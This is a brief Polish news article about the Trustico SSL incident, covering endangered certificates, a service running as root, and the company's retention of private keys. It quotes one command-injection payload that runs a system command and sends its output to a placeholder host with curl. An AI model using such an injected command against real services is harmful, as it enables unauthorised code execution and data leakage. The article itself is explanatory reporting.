Wielka wpadka Trustico: 23 000 certyfikatów SSL zagrożonych
Wielka wpadka Trustico: 23 000 certyfikatów SSL zagrożonych
Trustico, dostawca certyfikatów SSL, znalazł się w poważnych tarapatach po ujawnieniu, że 23 000 jego certyfikatów mogło trafić do wyrzutki. Wygląda na to, że serwis był uruchomiony na roocie, co umożliwiło banalne wstrzyknięcie kodu.
Jak do tego doszło? Wystarczyło wpisać prostą komendę: $(curl https://domain/`id`), co pozwoliło na wykonanie kodu w kontekście użytkownika root. Efekt był szokujący, ponieważ dostęp do systemu był nieograniczony. Przykład logów pokazuje, że atakujący uzyskał dostęp jako root.
Wielu użytkowników może być zaskoczonych, myśląc, że zakup certyfikatu SSL automatycznie zapewnia bezpieczeństwo ich strony. Jednak jak pokazuje przypadek Trustico, to tylko iluzja. Dodatkowo firma przyznała się do posiadania wszystkich kluczy prywatnych do wygenerowanych certyfikatów, co jest absolutnie nieakceptowalne.
Na podstawie: Źródła
